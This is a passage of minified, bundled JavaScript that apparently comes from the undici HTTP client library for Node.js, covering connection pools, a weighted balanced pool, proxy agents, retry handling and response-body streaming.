dispatcher"),T34=Symbol("add client"),v34=Symbol("remove client"),N34=Symbol("stats");class E34 extends tQ3{constructor(){super();this[CRA]=new eQ3,this[hV]=[],this[kRA]=0;let A=this;this[J86]=function(q,Y){let z=A[CRA],w=!1;while(!w){let H=z.shift();if(!H)break;A[kRA]--,w=!this.dispatch(H.opts,H.handler)}if(this[zM]=w,!this[zM]&&A[zM])A[zM]=!1,A.emit("drain",q,[A,...Y]);if(A[H86]&&z.isEmpty())Promise.all(A[hV].map((H)=>H.close())).then(A[H86])},this[P34]=(K,q)=>{A.emit("connect",K,[A,...q])},this[V34]=(K,q,Y)=>{A.emit("disconnect",K,[A,...q],Y)},this[f34]=(K,q,Y)=>{A.emit("connectionError",K,[A,...q],Y)},this[N34]=new HU3(this)}get[AU3](){return this[zM]}get[w86](){return this[hV].filter((A)=>A[w86]).length}get[KU3](){return this[hV].filter((A)=>A[w86]&&!A[zM]).length}get[M34](){let A=this[kRA];for(let{[M34]:K}of this[hV])A+=K;return A}get[j34](){let A=0;for(let{[j34]:K}of this[hV])A+=K;return A}get[D34](){let A=this[kRA];for(let{[D34]:K}of this[hV])A+=K;return A}get stats(){return this[N34]}async[YU3](){if(this[CRA].isEmpty())await Promise.all(this[hV].map((A)=>A.close()));else await new Promise((A)=>{this[H86]=A})}async[zU3](A){while(!0){let K=this[CRA].shift();if(!K)break;K.handler.onError(A)}await Promise.all(this[hV].map((K)=>K.destroy(A)))}[wU3](A,K){let q=this[O86]();if(!q)this[zM]=!0,this[CRA].push({opts:A,handler:K}),this[kRA]++;else if(!q.dispatch(A,K))q[zM]=!0,this[zM]=!this[O86]();return!this[zM]}[T34](A){if(A.on("drain",this[J86]).on("connect",this[P34]).on("disconnect",this[V34]).on("connectionError",this[f34]),this[hV].push(A),this[zM])queueMicrotask(()=>{if(this[zM])this[J86](A[qU3],[this,A])});return this}[v34](A){A.close(()=>{let K=this[hV].indexOf(A);if(K!==-1)this[hV].splice(K,1)}),this[zM]=this[hV].some((K)=>!K[zM]&&K.closed!==!0&&K.destroyed!==!0)}}k34.exports={PoolBase:E34,kClients:hV,kNeedDrain:zM,kAddClient:T34,kRemoveClient:v34,kGetDispatcher:O86}});var v0A=v((v6w,S34)=>{var{PoolBase:JU3,kClients:C34,kNeedDrain:OU3,kAddClient:XU3,kGetDispatcher:$U3}=X86(),_U3=ERA(),{InvalidArgumentError:$86}=_2(),L34=j9(),{kUrl:R34,kInterceptors:GU3}=MJ(),ZU3=wRA(),_86=Symbol("options"),G86=Symbol("connections"),y34=Symbol("factory");function WU3(A,K){return new _U3(A,K)}class I34 extends JU3{constructor(A,{connections:K,factory:q=WU3,connect:Y,connectTimeout:z,tls:w,maxCachedSessions:H,socketPath:J,autoSelectFamily:O,autoSelectFamilyAttemptTimeout:X,allowH2:$,..._}={}){super();if(K!=null&&(!Number.isFinite(K)||K<0))throw new $86("invalid connections");if(typeof q!=="function")throw new $86("factory must be a function.");if(Y!=null&&typeof Y!=="function"&&typeof Y!=="object")throw new $86("connect must be a function or an object");if(typeof Y!=="function")Y=ZU3({...w,maxCachedSessions:H,allowH2:$,socketPath:J,timeout:z,...O?{autoSelectFamily:O,autoSelectFamilyAttemptTimeout:X}:void 0,...Y});this[GU3]=_.interceptors?.Pool&&Array.isArray(_.interceptors.Pool)?_.interceptors.Pool:[],this[G86]=K||null,this[R34]=L34.parseOrigin(A),this[_86]={...L34.deepClone(_),connect:Y,allowH2:$},this[_86].interceptors=_.interceptors?{..._.interceptors}:void 0,this[y34]=q}[$U3](){for(let A of this[C34])if(!A[OU3])return A;if(!this[G86]||this[C34].length<this[G86]){let A=this[y34](this[R34],this[_86]);return this[XU3](A),A}}}S34.exports=I34});var m34=v((E6w,B34)=>{var{BalancedPoolMissingUpstreamError:DU3,InvalidArgumentError:jU3}=_2(),{PoolBase:MU3,kClients:vD,kNeedDrain:LRA,kAddClient:PU3,kRemoveClient:VU3,kGetDispatcher:fU3}=X86(),NU3=v0A(),{kUrl:Z86,kInterceptors:TU3}=MJ(),{parseOrigin:h34}=j9(),b34=Symbol("factory"),DK1=Symbol("options"),x34=Symbol("kGreatestCommonDivisor"),m8A=Symbol("kCurrentWeight"),g8A=Symbol("kIndex"),Tk=Symbol("kWeight"),jK1=Symbol("kMaxWeightPerServer"),MK1=Symbol("kErrorPenalty");function vU3(A,K){if(A===0)return K;while(K!==0){let q=K;K=A%K,A=q}return A}function EU3(A,K){return new NU3(A,K)}class u34 extends MU3{constructor(A=[],{factory:K=EU3,...q}={}){super();if(this[DK1]=q,this[g8A]=-1,this[m8A]=0,this[jK1]=this[DK1].maxWeightPerServer||100,this[MK1]=this[DK1].errorPenalty||15,!Array.isArray(A))A=[A];if(typeof K!=="function")throw new jU3("factory must be a function.");this[TU3]=q.interceptors?.BalancedPool&&Array.isArray(q.interceptors.BalancedPool)?q.interceptors.BalancedPool:[],this[b34]=K;for(let Y of A)this.addUpstream(Y);this._updateBalancedPoolStats()}addUpstream(A){let K=h34(A).origin;if(this[vD].find((Y)=>Y[Z86].origin===K&&Y.closed!==!0&&Y.destroyed!==!0))return this;let q=this[b34](K,Object.assign({},this[DK1]));this[PU3](q),q.on("connect",()=>{q[Tk]=Math.min(this[jK1],q[Tk]+this[MK1])}),q.on("connectionError",()=>{q[Tk]=Math.max(1,q[Tk]-this[MK1]),this._updateBalancedPoolStats()}),q.on("disconnect",(...Y)=>{let z=Y[2];if(z&&z.code==="UND_ERR_SOCKET")q[Tk]=Math.max(1,q[Tk]-this[MK1]),this._updateBalancedPoolStats()});for(let Y of this[vD])Y[Tk]=this[jK1];return this._updateBalancedPoolStats(),this}_updateBalancedPoolStats(){let A=0;for(let K=0;K<this[vD].length;K++)A=vU3(this[vD][K][Tk],A);this[x34]=A}removeUpstream(A){let K=h34(A).origin,q=this[vD].find((Y)=>Y[Z86].origin===K&&Y.closed!==!0&&Y.destroyed!==!0);if(q)this[VU3](q);return this}get upstreams(){return this[vD].filter((A)=>A.closed!==!0&&A.destroyed!==!0).map((A)=>A[Z86].origin)}[fU3](){if(this[vD].length===0)throw new DU3;if(!this[vD].find((z)=>!z[LRA]&&z.closed!==!0&&z.destroyed!==!0))return;if(this[vD].map((z)=>z[LRA]).reduce((z,w)=>z&&w,!0))return;let q=0,Y=this[vD].findIndex((z)=>!z[LRA]);while(q++<this[vD].length){this[g8A]=(this[g8A]+1)%this[vD].length;let z=this[vD][this[g8A]];if(z[Tk]>this[vD][Y][Tk]&&!z[LRA])Y=this[g8A];if(this[g8A]===0){if(this[m8A]=this[m8A]-this[x34],this[m8A]<=0)this[m8A]=this[jK1]}if(z[Tk]>=this[m8A]&&!z[LRA])return z}return this[m8A]=this[vD][Y][Tk],this[g8A]=Y,this[vD][Y]}}B34.exports=u34});var E0A=v((k6w,l34)=>{var{InvalidArgumentError:PK1}=_2(),{kClients:bn,kRunning:g34,kClose:kU3,kDestroy:CU3,kDispatch:LU3,kInterceptors:RU3}=MJ(),yU3=J0A(),IU3=v0A(),SU3=ERA(),hU3=j9(),bU3=ZK1(),F34=Symbol("onConnect"),Q34=Symbol("onDisconnect"),U34=Symbol("onConnectionError"),xU3=Symbol("maxRedirections"),p34=Symbol("onDrain"),d34=Symbol("factory"),W86=Symbol("options");function uU3(A,K){return K&&K.connections===1?new SU3(A,K):new IU3(A,K)}class c34 extends yU3{constructor({factory:A=uU3,maxRedirections:K=0,connect:q,...Y}={}){super();if(typeof A!=="function")throw new PK1("factory must be a function.");if(q!=null&&typeof q!=="function"&&typeof q!=="object")throw new PK1("connect must be a function or an object");if(!Number.isInteger(K)||K<0)throw new PK1("maxRedirections must be a positive number");if(q&&typeof q!=="function")q={...q};this[RU3]=Y.interceptors?.Agent&&Array.isArray(Y.interceptors.Agent)?Y.interceptors.Agent:[bU3({maxRedirections:K})],this[W86]={...hU3.deepClone(Y),connect:q},this[W86].interceptors=Y.interceptors?{...Y.interceptors}:void 0,this[xU3]=K,this[d34]=A,this[bn]=new Map,this[p34]=(z,w)=>{this.emit("drain",z,[this,...w])},this[F34]=(z,w)=>{this.emit("connect",z,[this,...w])},this[Q34]=(z,w,H)=>{this.emit("disconnect",z,[this,...w],H)},this[U34]=(z,w,H)=>{this.emit("connectionError",z,[this,...w],H)}}get[g34](){let A=0;for(let K of this[bn].values())A+=K[g34];return A}[LU3](A,K){let q;if(A.origin&&(typeof A.origin==="string"||A.origin instanceof URL))q=String(A.origin);else throw new PK1("opts.origin must be a non-empty string or URL.");let Y=this[bn].get(q);if(!Y)Y=this[d34](A.origin,this[W86]).on("drain",this[p34]).on("connect",this[F34]).on("disconnect",this[Q34]).on("connectionError",this[U34]),this[bn].set(q,Y);return Y.dispatch(A,K)}async[kU3](){let A=[];for(let K of this[bn].values())A.push(K.close());this[bn].clear(),await Promise.all(A)}async[CU3](A){let K=[];for(let q of this[bn].values())K.push(q.destroy(A));this[bn].clear(),await Promise.all(K)}}l34.exports=c34});var j86=v((C6w,a34)=>{var{kProxy:BU3,kClose:mU3,kDestroy:gU3,kInterceptors:FU3}=MJ(),{URL:RRA}=CA("node:url"),QU3=E0A(),UU3=v0A(),pU3=J0A(),{InvalidArgumentError:NK1,RequestAbortedError:dU3,SecureProxyConnectionError:cU3}=_2(),i34=wRA(),VK1=Symbol("proxy agent"),fK1=Symbol("proxy client"),yRA=Symbol("proxy headers"),D86=Symbol("request tls settings"),n34=Symbol("proxy tls settings"),r34=Symbol("connect endpoint function");function lU3(A){return A==="https:"?443:80}function iU3(A,K){return new UU3(A,K)}var nU3=()=>{};class o34 extends pU3{constructor(A){super();if(!A||typeof A==="object"&&!(A instanceof RRA)&&!A.uri)throw new NK1("Proxy uri is mandatory");let{clientFactory:K=iU3}=A;if(typeof K!=="function")throw new NK1("Proxy opts.clientFactory must be a function.");let q=this.#A(A),{href:Y,origin:z,port:w,protocol:H,username:J,password:O,hostname:X}=q;if(this[BU3]={uri:Y,protocol:H},this[FU3]=A.interceptors?.ProxyAgent&&Array.isArray(A.interceptors.ProxyAgent)?A.interceptors.ProxyAgent:[],this[D86]=A.requestTls,this[n34]=A.proxyTls,this[yRA]=A.headers||{},A.auth&&A.token)throw new NK1("opts.auth cannot be used in combination with opts.token");else if(A.auth)this[yRA]["proxy-authorization"]=`Basic ${A.auth}`;else if(A.token)this[yRA]["proxy-authorization"]=A.token;else if(J&&O)this[yRA]["proxy-authorization"]=`Basic ${Buffer.from(`${decodeURIComponent(J)}:${decodeURIComponent(O)}`).toString("base64")}`;let $=i34({...A.proxyTls});this[r34]=i34({...A.requestTls}),this[fK1]=K(q,{connect:$}),this[VK1]=new QU3({...A,connect:async(_,G)=>{let Z=_.host;if(!_.port)Z+=`:${lU3(_.protocol)}`;try{let{socket:W,statusCode:D}=await this[fK1].connect({origin:z,port:w,path:Z,signal:_.signal,headers:{...this[yRA],host:_.host},servername:this[n34]?.servername||X});if(D!==200)W.on("error",nU3).destroy(),G(new dU3(`Proxy response (${D}) !== 200 when HTTP Tunneling`));if(_.protocol!=="https:"){G(null,W);return}let j;if(this[D86])j=this[D86].servername;else j=_.servername;this[r34]({..._,servername:j,httpSocket:W},G)}catch(W){if(W.code==="ERR_TLS_CERT_ALTNAME_INVALID")G(new cU3(W));else G(W)}}})}dispatch(A,K){let q=rU3(A.headers);if(oU3(q),q&&!("host"in q)&&!("Host"in q)){let{host:Y}=new RRA(A.origin);q.host=Y}return this[VK1].dispatch({...A,headers:q},K)}#A(A){if(typeof A==="string")return new RRA(A);else if(A instanceof RRA)return A;else return new RRA(A.uri)}async[mU3](){await this[VK1].close(),await this[fK1].close()}async[gU3](){await this[VK1].destroy(),await this[fK1].destroy()}}function rU3(A){if(Array.isArray(A)){let K={};for(let q=0;q<A.length;q+=2)K[A[q]]=A[q+1];return K}return A}function oU3(A){if(A&&Object.keys(A).find((q)=>q.toLowerCase()==="proxy-authorization"))throw new NK1("Proxy-Authorization should be sent in ProxyAgent constructor")}a34.exports=o34});var Y94=v((L6w,q94)=>{var aU3=J0A(),{kClose:sU3,kDestroy:tU3,kClosed:s34,kDestroyed:t34,kDispatch:eU3,kNoProxyAgent:IRA,kHttpProxyAgent:xn,kHttpsProxyAgent:F8A}=MJ(),e34=j86(),Ap3=E0A(),Kp3={"http:":80,"https:":443},A94=!1;class K94 extends aU3{#A=null;#K=null;#q=null;constructor(A={}){super();if(this.#q=A,!A94)A94=!0,process.emitWarning("EnvHttpProxyAgent is experimental, expect them to change at any time.",{code:"UNDICI-EHPA"});let{httpProxy:K,httpsProxy:q,noProxy:Y,...z}=A;this[IRA]=new Ap3(z);let w=K??process.env.http_proxy??process.env.HTTP_PROXY;if(w)this[xn]=new e34({...z,uri:w});else this[xn]=this[IRA];let H=q??process.env.https_proxy??process.env.HTTPS_PROXY;if(H)this[F8A]=new e34({...z,uri:H});else this[F8A]=this[xn];this.#J()}[eU3](A,K){let q=new URL(A.origin);return this.#z(q).dispatch(A,K)}async[sU3](){if(await this[IRA].close(),!this[xn][s34])await this[xn].close();if(!this[F8A][s34])await this[F8A].close()}async[tU3](A){if(await this[IRA].destroy(A),!this[xn][t34])await this[xn].destroy(A);if(!this[F8A][t34])await this[F8A].destroy(A)}#z(A){let{protocol:K,host:q,port:Y}=A;if(q=q.replace(/:\d*$/,"").toLowerCase(),Y=Number.parseInt(Y,10)||Kp3[K]||0,!this.#Y(q,Y))return this[IRA];if(K==="https:")return this[F8A];return this[xn]}#Y(A,K){if(this.#w)this.#J();if(this.#K.length===0)return!0;if(this.#A==="*")return!1;for(let q=0;q<this.#K.length;q++){let Y=this.#K[q];if(Y.port&&Y.port!==K)continue;if(!/^[.*]/.test(Y.hostname)){if(A===Y.hostname)return!1}else if(A.endsWith(Y.hostname.replace(/^\*/,"")))return!1}return!0}#J(){let A=this.#q.noProxy??this.#X,K=A.split(/[,\s]/),q=[];for(let Y=0;Y<K.length;Y++){let z=K[Y];if(!z)continue;let w=z.match(/^(.+):(\d+)$/);q.push({hostname:(w?w[1]:z).toLowerCase(),port:w?Number.parseInt(w[2],10):0})}this.#A=A,this.#K=q}get#w(){if(this.#q.noProxy!==void 0)return!1;return this.#A!==this.#X}get#X(){return process.env.no_proxy??process.env.NO_PROXY??""}}q94.exports=K94});var TK1=v((R6w,J94)=>{var k0A=CA("node:assert"),{kRetryHandlerDefaultRetry:z94}=MJ(),{RequestRetryError:SRA}=_2(),{isDisturbed:w94,parseHeaders:qp3,parseRangeHeader:H94,wrapRequestBody:Yp3}=j9();function zp3(A){let K=Date.now();return new Date(A).getTime()-K}class M86{constructor(A,K){let{retryOptions:q,...Y}=A,{retry:z,maxRetries:w,maxTimeout:H,minTimeout:J,timeoutFactor:O,methods:X,errorCodes:$,retryAfter:_,statusCodes:G}=q??{};this.dispatch=K.dispatch,this.handler=K.handler,this.opts={...Y,body:Yp3(A.body)},this.abort=null,this.aborted=!1,this.retryOpts={retry:z??M86[z94],retryAfter:_??!0,maxTimeout:H??30000,minTimeout:J??500,timeoutFactor:O??2,maxRetries:w??5,methods:X??["GET","HEAD","OPTIONS","PUT","DELETE","TRACE"],statusCodes:G??[500,502,503,504,429],errorCodes:$??["ECONNRESET","ECONNREFUSED","ENOTFOUND","ENETDOWN","ENETUNREACH","EHOSTDOWN","EHOSTUNREACH","EPIPE","UND_ERR_SOCKET"]},this.retryCount=0,this.retryCountCheckpoint=0,this.start=0,this.end=null,this.etag=null,this.resume=null,this.handler.onConnect((Z)=>{if(this.aborted=!0,this.abort)this.abort(Z);else this.reason=Z})}onRequestSent(){if(this.handler.onRequestSent)this.handler.onRequestSent()}onUpgrade(A,K,q){if(this.handler.onUpgrade)this.handler.onUpgrade(A,K,q)}onConnect(A){if(this.aborted)A(this.reason);else this.abort=A}onBodySent(A){if(this.handler.onBodySent)return this.handler.onBodySent(A)}static[z94](A,{state:K,opts:q},Y){let{statusCode:z,code:w,headers:H}=A,{method:J,retryOptions:O}=q,{maxRetries:X,minTimeout:$,maxTimeout:_,timeoutFactor:G,statusCodes:Z,errorCodes:W,methods:D}=O,{counter:j}=K;if(w&&w!=="UND_ERR_REQ_RETRY"&&!W.includes(w)){Y(A);return}if(Array.isArray(D)&&!D.includes(J)){Y(A);return}if(z!=null&&Array.isArray(Z)&&!Z.includes(z)){Y(A);return}if(j>X){Y(A);return}let M=H?.["retry-after"];if(M)M=Number(M),M=Number.isNaN(M)?zp3(M):M*1000;let P=M>0?Math.min(M,_):Math.min($*G**(j-1),_);setTimeout(()=>Y(null),P)}onHeaders(A,K,q,Y){let z=qp3(K);if(this.retryCount+=1,A>=300)if(this.retryOpts.statusCodes.includes(A)===!1)return this.handler.onHeaders(A,K,q,Y);else return this.abort(new SRA("Request failed",A,{headers:z,data:{count:this.retryCount}})),!1;if(this.resume!=null){if(this.resume=null,A!==206&&(this.start>0||A!==200))return this.abort(new SRA("server does not support the range header and the payload was partially consumed",A,{headers:z,data:{count:this.retryCount}})),!1;let H=H94(z["content-range"]);if(!H)return this.abort(new SRA("Content-Range mismatch",A,{headers:z,data:{count:this.retryCount}})),!1;if(this.etag!=null&&this.etag!==z.etag)return this.abort(new SRA("ETag mismatch",A,{headers:z,data:{count:this.retryCount}})),!1;let{start:J,size:O,end:X=O-1}=H;return k0A(this.start===J,"content-range mismatch"),k0A(this.end==null||this.end===X,"content-range mismatch"),this.resume=q,!0}if(this.end==null){if(A===206){let H=H94(z["content-range"]);if(H==null)return this.handler.onHeaders(A,K,q,Y);let{start:J,size:O,end:X=O-1}=H;k0A(J!=null&&Number.isFinite(J),"content-range mismatch"),k0A(X!=null&&Number.isFinite(X),"invalid content-length"),this.start=J,this.end=X}if(this.end==null){let H=z["content-length"];this.end=H!=null?Number(H)-1:null}if(k0A(Number.isFinite(this.start)),k0A(this.end==null||Number.isFinite(this.end),"invalid content-length"),this.resume=q,this.etag=z.etag!=null?z.etag:null,this.etag!=null&&this.etag.startsWith("W/"))this.etag=null;return this.handler.onHeaders(A,K,q,Y)}let w=new SRA("Request failed",A,{headers:z,data:{count:this.retryCount}});return this.abort(w),!1}onData(A){return this.start+=A.length,this.handler.onData(A)}onComplete(A){return this.retryCount=0,this.handler.onComplete(A)}onError(A){if(this.aborted||w94(this.opts.body))return this.handler.onError(A);if(this.retryCount-this.retryCountCheckpoint>0)this.retryCount=this.retryCountCheckpoint+(this.retryCount-this.retryCountCheckpoint);else this.retryCount+=1;this.retryOpts.retry(A,{state:{counter:this.retryCount},opts:{retryOptions:this.retryOpts,...this.opts}},K.bind(this));function K(q){if(q!=null||this.aborted||w94(this.opts.body))return this.handler.onError(q);if(this.start!==0){let Y={range:`bytes=${this.start}-${this.end??""}`};if(this.etag!=null)Y["if-match"]=this.etag;this.opts={...this.opts,headers:{...this.opts.headers,...Y}}}try{this.retryCountCheckpoint=this.retryCount,this.dispatch(this.opts,this)}catch(Y){this.handler.onError(Y)}}}}J94.exports=M86});var $94=v((y6w,X94)=>{var wp3=YRA(),Hp3=TK1();class O94 extends wp3{#A=null;#K=null;constructor(A,K={}){super(K);this.#A=A,this.#K=K}dispatch(A,K){let q=new Hp3({...A,retryOptions:this.#K},{dispatch:this.#A.dispatch.bind(this.#A),handler:K});return this.#A.dispatch(A,q)}close(){return this.#A.close()}destroy(){return this.#A.destroy()}}X94.exports=O94});var T86=v((I6w,f94)=>{var D94=CA("node:assert"),{Readable:Jp3}=CA("node:stream"),{RequestAbortedError:j94,NotSupportedError:Op3,InvalidArgumentError:Xp3,AbortError:P86}=_2(),M94=j9(),{ReadableStreamFrom:$p3}=j9(),WT=Symbol("kConsume"),hRA=Symbol("kReading"),un=Symbol("kBody"),_94=Symbol("kAbort"),P94=Symbol("kContentType"),G94=Symbol("kContentLength"),_p3=()=>{};class V94 extends Jp3{constructor({resume:A,abort:K,contentType:q="",contentLength:Y,highWaterMark:z=65536}){super({autoDestroy:!0,read:A,highWaterMark:z});this._readableState.dataEmitted=!1,this[_94]=K,this[WT]=null,this[un]=null,this[P94]=q,this[G94]=Y,this[hRA]=!1}destroy(A){if(!A&&!this._readableState.endEmitted)A=new j94;if(A)this[_94]();return super.destroy(A)}_destroy(A,K){if(!this[hRA])setImmediate(()=>{K(A)});else K(A)}on(A,...K){if(A==="data"||A==="readable")this[hRA]=!0;return super.on(A,...K)}addListener(A,...K){return this.on(A,...K)}off(A,...K){let q=super.off(A,...K);if(A==="data"||A==="readable")this[hRA]=this.listenerCount("data")>0||this.listenerCount("readable")>0;return q}removeListener(A,...K){return this.off(A,...K)}push(A){if(this[WT]&&A!==null)return f86(this[WT],A),this[hRA]?super.push(A):!0;return super.push(A)}async text(){return bRA(this,"text")}async json(){return bRA(this,"json")}async blob(){return bRA(this,"blob")}async bytes(){return bRA(this,"bytes")}async arrayBuffer(){return bRA(this,"arrayBuffer")}async formData(){throw new Op3}get bodyUsed(){return M94.isDisturbed(this)}get body(){if(!this[un]){if(this[un]=$p3(this),this[WT])this[un].getReader(),D94(this[un].locked)}return this[un]}async dump(A){let K=Number.isFinite(A?.limit)?A.limit:131072,q=A?.signal;if(q!=null&&(typeof q!=="object"||!("aborted"in q)))throw new Xp3("signal must be an AbortSignal");if(q?.throwIfAborted(),this._readableState.closeEmitted)return null;return await new Promise((Y,z)=>{if(this[G94]>K)this.destroy(new P86);let w=()=>{this.destroy(q.reason??new P86)};q?.addEventListener("abort",w),this.on("close",function(){if(q?.removeEventListener("abort",w),q?.aborted)z(q.reason??new P86);else Y(null)}).on("error",_p3).on("data",function(H){if(K-=H.length,K<=0)this.destroy()}).resume()})}}function Gp3(A){return A[un]&&A[un].locked===!0||A[WT]}function Zp3(A){return M94.isDisturbed(A)||Gp3(A)}async function bRA(A,K){return D94(!A[WT]),new Promise((q,Y)=>{if(Zp3(A)){let z=A._readableState;if(z.destroyed&&z.closeEmitted===!1)A.on("error",(w)=>{Y(w)}).on("close",()=>{Y(TypeError("unusable"))});else Y(z.errored??TypeError("unusable"))}else queueMicrotask(()=>{A[WT]={type:K,stream:A,resolve:q,reject:Y,length:0,body:[]},A.on("error",function(z){N86(this[WT],z)}).on("close",function(){if(this[WT].body!==null)N86(this[WT],new j94)}),Wp3(A[WT])})})}function Wp3(A){if(A.body===null)return;let{_readableState:K}=A.stream;if(K.bufferIndex){let q=K.bufferIndex,Y=K.buffer.length;for(let z=q;z<Y;z++)f86(A,K.buffer[z])}else for(let q of K.buffer)f86(A,q);if(K.endEmitted)W94(this[WT]);else A.stream.on("end",function(){W94(this[WT])});A.stream.resume();while(A.stream.read()!=null);}function V86(A,K){if(A.length===0||K===0)return"";let q=A.length===1?A[0]:Buffer.concat(A,K),Y=q.length,z=Y>2&&q[0]===239&&q[1]===187&&q[2]===191?3:0;return q.utf8Slice(z,Y)}function Z94(A,K){if(A.length===0||K===0)return new Uint8Array(0);if(A.length===1)return new Uint8Array(A[0]);let q=new Uint8Array(Buffer.allocUnsafeSlow(K).buffer),Y=0;for(let z=0;z<A.length;++z){let w=A[z];q.set(w,Y),Y+=w.length}return q}function W94(A){let{type:K,body:q,resolve:Y,stream:z,length:w}=A;try{if(K==="text")Y(V86(q,w));else if(K==="json")Y(JSON.parse(V86(q,w)));else if(K==="arrayBuffer")Y(Z94(q,w).buffer);else if(K==="blob")Y(new Blob(q,{type:z[P94]}));else if(K==="bytes")Y(Z94(q,w));N86(A)}catch(H){z.destroy(H)}}function f86(A,K){A.length+=K.length,A.body.push(K)}function N86(A,K){if(A.body===null)return;if(K)A.reject(K);else A.resolve();A.type=null,A.stream=null,A.resolve=null,A.reject=null,A.length=0,A.body=null}f94.exports={Readable:V94,chunksDecode:V86}});var v86=v((S6w,k94)=>{var Dp3=CA("node:assert"),{ResponseStatusCodeError:N94}=_2(),{chunksDecode:T94}=T86();async function jp3({callback:A,body:K,contentType:q,statusCode:Y,statusMessage:z,headers:w}){Dp3(K);let H=[],J=0;try{for await(let _ of K)if(H.push(_),J+=_.length,J>131072){H=[],J=0;break}}catch{H=[],J=0}let O=`Response status code ${Y}${z?`: ${z}`:""}`;if(Y===204||!q||!J){queueMicrotask(()=>A(new N94(O,Y,w)));return}let X=Error.stackTraceLimit;Error.stackTraceLimit=0;let $;try{if(v94(q))$=JSON.parse(T94(H,J));else if(E94(q))$=T94(H,J)}catch{}finally{Error.stackTraceLimit=X}queueMicrotask(()=>A(new N94(O,Y,w,$)))}var v94=(A)=>{return A.length>15&&A[11]==="/"&&A[0]==="a"&&A[1]==="p"&&A[2]==="p"&&A[3]==="l"&&A[4]==="i"&&A[5]==="c"&&A[6]==="a"&&A[7]==="t"&&A[8]==="i"&&A[9]==="o"&&A[10]==="n"&&A[12]==="j"&&A[13]==="s"&&A[14]==="o"&&A[15]==="n"},E94=(A)=>{return A.length>4&&A[4]==="/"&&A[0]==="t"&&A[1]==="e"&&A[2]==="x"&&A[3]==="t"};k94.exports={getResolveErrorBodyCallback:jp3,isContentTypeApplicationJson:v94,isContentTypeText:E94}});var R94=v((h6w,k86)=>{var Mp3=CA("node:assert"),{Readable:Pp3}=T86(),{InvalidArgumentError:C0A,RequestAbortedError:C94}=_2(),DT=j9(),{getResolveErrorBodyCallback:Vp3}=v86(),{AsyncResource:fp3}=CA("node:async_hooks");class E86 extends fp3{constructor(A,K){if(!A||typeof A!=="object")throw new C0A("invalid opts");let{signal:q,method:Y,opaque:z,body:w,onInfo:H,responseHeaders:J,throwOnError:O,highWaterMark:X}=A;try{if(typeof K!=="function")throw new C0A("invalid callback");if(X&&(typeof X!=="number"||X<0))throw new C0A("invalid highWaterMark");if(q&&typeof q.on!=="function"&&typeof q.addEventListener!=="function")throw new C0A("signal must be an EventEmitter or EventTarget");if(Y==="CONNECT")throw new C0A("invalid method");if(H&&typeof H!=="function")throw new C0A("invalid onInfo callback");super("UNDICI_REQUEST")}catch($){if(DT.isStream(w))DT.destroy(w.on("error",DT.nop),$);throw $}if(this.method=Y,this.responseHeaders=J||null,this.opaque=z||null,this.callback=K,this.res=null,this.abort=null,this.body=w,this.trailers={},this.context=null,this.onInfo=H||null,this.throwOnError=O,this.highWaterMark=X,this.signal=q,this.reason=null,this.removeAbortListener=null,DT.isStream(w))w.on("error",($)=>{this.onError($)});if(this.signal)if(this.signal.aborted)this.reason=this.signal.reason??new C94;else this.removeAbortListener=DT.addAbortListener(this.signal,()=>{if(this.reason=this.signal.reason??new C94,this.res)DT.destroy(this.res.on("error",DT.nop),this.reason);else if(this.abort)this.abort(this.reason);if(this.removeAbortListener)this.res?.off("close",this.removeAbortListener),this.removeAbortListener(),this.removeAbortListener=null})}onConnect(A,K){if(this.reason){A(this.reason);return}Mp3(this.callback),this.abort=A,this.context=K}onHeaders(A,K,q,Y){let{callback:z,opaque:w,abort:H,context:J,responseHeaders:O,highWaterMark:X}=this,$=O==="raw"?DT.parseRawHeaders(K):DT.parseHeaders(K);if(A<200){if(this.onInfo)this.onInfo({statusCode:A,headers:$});return}let _=O==="raw"?DT.parseHeaders(K):$,G=_["content-type"],Z=_["content-length"],W=new Pp3({resume:q,abort:H,contentType:G,contentLength:this.method!=="HEAD"&&Z?Number(Z):null,highWaterMark:X});if(this.removeAbortListener)W.on("close",this.removeAbortListener);if(this.callback=null,this.res=W,z!==null)if(this.throwOnError&&A>=400)this.runInAsyncScope(Vp3,null,{callback:z,body:W,contentType:G,statusCode:A,statusMessage:Y,headers:$});else this.runInAsyncScope(z,null,null,{statusCode:A,headers:$,trailers:this.trailers,opaque:w,body:W,context:J})}onData(A){return this.res.push(A)}onComplete(A){DT.parseHeaders(A,this.trailers),this.res.push(null)}onError(A){let{res:K,callback:q,body:Y,opaque:z}=this;if(q)this.callback=null,queueMicrotask(()=>{this.runInAsyncScope(q,null,A,{opaque:z})});if(K)this.res=null,queueMicrotask(()=>{DT.destroy(K,A)});if(Y)this.body=null,DT.destroy(Y,A);if(this.removeAbortListener)K?.off("close",this.removeAbortListener),this.removeAbortListener(),this.removeAbortListener=null}}function L94(A,K){if(K===void 0)return new Promise((q,Y)=>{L94.call(this,A,(z,w)=>{return z?Y(z):q(w)})});try{this.dispatch(A,new E86(A,K))}catch(q){if(typeof K!=="function")throw q;let Y=A?.opaque;queueMicrotask(()=>K(q,{opaque:Y}))}}k86.exports=L94;k86.exports.RequestHandler=E86});var xRA=v((b6w,S94)=>{var{addAbortListener:Np3}=j9(),{RequestAbortedError:Tp3}=_2(),L0A=Symbol("kListener"),Px=Symbol("kSignal");function y94(A){if(A.abort)A.abort(A[Px]?.reason);else A.reason=A[Px]?.reason??new Tp3;I94(A)}function vp3(A,K){if(A.reason=null,A[Px]=null,A[L0A]=null,!K)return;if(K.aborted){y94(A);return}A[Px]=K,A[L0A]=()=>{y94(A)},Np3(A[Px],A[L0A])}function I94(A){if(!A[Px])return;if("removeEventListener"in A[Px])A[Px].removeEventListener("abort",A[L0A]);else A[Px].removeListener("abort",A[L0A]);A[Px]=null,A[L0A]=null}S94.exports={addSignal:vp3,removeSignal:I94}});var B94=v((x6w,u94)=>{var Ep3=CA("node:assert"),{finished:kp3,PassThrough:Cp3}=CA("node:stream"),{InvalidArgumentError:R0A,InvalidReturnValueError:Lp3}=_2(),Vy=j9(),{getResolveErrorBodyCallback:Rp3}=v86(),{AsyncResource:yp3}=CA("node:async_hooks"),{addSignal:Ip3,removeSignal:h94}=xRA();class b94 extends yp3{constructor(A,K,q){if(!A||typeof A!=="object")throw new R0A("invalid opts");let{signal:Y,method:z,opaque:w,body:H,onInfo:J,responseHeaders:O,throwOnError:X}=A;try{if(typeof q!=="function")throw new R0A("invalid callback");if(typeof K!=="function")throw new R0A("invalid factory");if(Y&&typeof Y.on!=="function"&&typeof Y.addEventListener!=="function")throw new R0A("signal must be an EventEmitter or EventTarget");if(z==="CONNECT")throw new R0A("invalid method");if(J&&typeof 